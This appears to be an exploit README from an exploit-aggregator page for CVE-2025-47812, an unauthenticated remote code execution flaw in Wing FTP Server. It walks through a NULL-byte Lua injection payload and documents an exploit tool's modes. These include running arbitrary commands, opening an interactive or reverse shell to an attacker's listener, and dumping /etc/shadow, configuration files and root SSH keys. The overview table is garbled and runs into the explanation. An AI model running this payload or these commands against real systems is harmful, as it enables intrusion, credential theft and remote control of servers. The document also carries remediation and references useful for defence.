## https://sploitus.com/exploit?id=8D1ED165-260E-52EF-A085-629BA151DD9A
# CVE-2025-47812 β Wing FTP Server Unauthenticated RCE
```
βββ ββββββββββ βββ βββββββ ββββββββββββββββββββββββ
βββ βββββββββββ βββββββββββ βββββββββββββββββββββββββ
βββ ββ ββββββββββββ ββββββ ββββ ββββββ βββ ββββββββ
ββββββββββββββββββββββββββ βββ ββββββ βββ βββββββ
ββββββββββββββββ βββββββββββββββ βββ βββ βββ
ββββββββ ββββββ βββββ βββββββ βββ βββ βββ
```
## Overview
| Field | Detail |
|---|---|
| **CVE** | CVE-2025-47812 |
| **Affected** | Wing FTP Server ` passes authentication as long as `anonymous` (or any valid user) exists.
After authentication succeeds, `loginok.html` calls `rawset(_SESSION, "username", username)` using the **full, unsanitized** POST parameter β including everything after the NULL byte. The session is then serialized to a Lua script file on disk via `SessionModule.save()`.
Since the serialize function wraps string values in `[[...]]` Lua long string literals without any sanitization, injecting `]]` in the username terminates the string literal early, allowing arbitrary Lua code to be appended to the session file.
**Payload structure:**
```
anonymous\x00]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--
```
The trailing `--` comments out the `]]` that Wing FTP appends after the value.
### Stage 2 β Trigger via Authenticated Endpoint
The session file (named after the `UID` cookie value) is a Lua script that gets executed via `loadfile()` + `f()` whenever any authenticated endpoint is accessed. Sending `POST /dir.html` with the `UID` cookie executes the injected Lua and returns command output in the response body, before the `<?xml` content.
---
## Requirements
- Python 3.10+
- `requests`, `urllib3`
```bash
pip install -r requirements.txt
```
---
## Usage
```
usage: CVE-2025-47812 [-h] [-U USER] [-P PASS] [--vhost HOST] [--timeout N]
[--verify-ssl]
[--cmd CMD | --shell | --revshell | --dump]
[--lhost IP] [--lport PORT] [--listen]
target
```
### Examples
```bash
# Single command
python3 CVE-2025-47812.py http://ftp.target.com --cmd "id"
python3 CVE-2025-47812.py http://ftp.target.com --cmd "cat /etc/passwd"
# Target by IP (Wing FTP uses virtual-host routing β supply hostname with --vhost)
python3 CVE-2025-47812.py http://10.10.10.10 --vhost ftp.target.com --cmd "id"
# Interactive pseudo-shell
python3 CVE-2025-47812.py http://ftp.target.com --shell
# Reverse shell (start nc listener separately)
python3 CVE-2025-47812.py http://ftp.target.com --revshell --lhost 10.10.14.5 --lport 4444
# Reverse shell with built-in listener
python3 CVE-2025-47812.py http://ftp.target.com --revshell --listen --lhost 10.10.14.5 --lport 4444
# Dump sensitive files (/etc/passwd, /etc/shadow, Wing.cfg, root SSH key)
python3 CVE-2025-47812.py http://ftp.target.com --dump
# With non-anonymous credentials
python3 CVE-2025-47812.py http://ftp.target.com -U ftpuser -P secret --cmd "whoami"
```
---
## Remediation
Upgrade Wing FTP Server to **version 7.4.4** or later.
---
## References
- Original writeup: https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-47812
- Related: CVE-2025-47811 (overly permissive service privileges), CVE-2025-47813 (path disclosure via overlong UID cookie)
---
## Disclaimer
This tool is provided for **educational purposes and authorized penetration testing only**. Running this exploit against systems you do not own or have explicit written permission to test is illegal and unethical. The author assumes no liability for any misuse.